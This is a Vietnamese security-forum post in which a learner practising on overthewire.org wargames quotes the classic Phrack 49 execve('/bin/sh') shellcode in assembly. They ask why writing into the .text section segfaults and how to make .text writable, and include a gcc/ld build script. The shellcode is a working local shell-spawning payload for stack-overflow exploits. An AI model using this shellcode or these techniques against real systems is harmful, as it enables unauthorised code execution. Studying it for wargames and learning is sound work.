banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận thâm nhập Lỗi khi thao tác lên vùng nhớ .text runtime  XML
  [Question]   Lỗi khi thao tác lên vùng nhớ .text runtime 11/02/2014 10:37:03 (+0700) | #1 | 279703
kokichi88
Member

[Minus]    0    [Plus]
Joined: 03/10/2007 11:24:48
Messages: 14
Offline
[Profile] [PM]
Xin chào mọi người, em hiện tại đang bắt đầu học exploit thông qua chơi game qua www.overthewire.org). Hiện tại em đang có vấn đề với việc build asm code để exploit stack over flow.
Code:
jmp 0x1f # 2 bytes
popl %esi # 1 byte (1)
movl %esi,0x8(%esi)  # 3 bytes (2)
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi)    # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal  0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call  -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes

Đây là code example trong tài liệu tham khảo http://www.phrack.com/issues.html?issue=49&id=14&mode=txt. Mục đích của đoạn asm code trên là lấy được address của string "bin/sh" truyền vào hàm execve -> exit -> spawn thành công shell.
1 -> ta thấy %esi lúc này chứa address của string "bin/sh" và lệnh tiếp theo để insert NULL vào cuối string để đánh đấu kết thúc string -> không bị lỗi khi insert thêm NOP để align string exploit sau này. Đây cũng là điểm khi em run code bị lỗi, %esi lúc này chứa address thuộc vùng .text nên lệnh movl %esi,0x8(%esi) luôn trả về error Segmentation fault khi run.
Câu hỏi của em là:
1. Có phải tài liệu này đã outdate và thời điểm hiện tại compiler đã thay đổi nên ví dụ trên không còn phù hợp nữa
2. Em thử tìm có 2 cách để make .text writable :
- thử build với option -N của ld
Code:
#!/bin/bash
    gcc -c -o  $1.o $1.s
    ld  -s -o -N $1 $1.o

-> không hoạt động
- dùng mprotect. Cách này có vẻ bất khả thi vì phải tính toán theo page_size khi runtime.
Có cách nào khác nữa để "make .text writable".
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
2 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|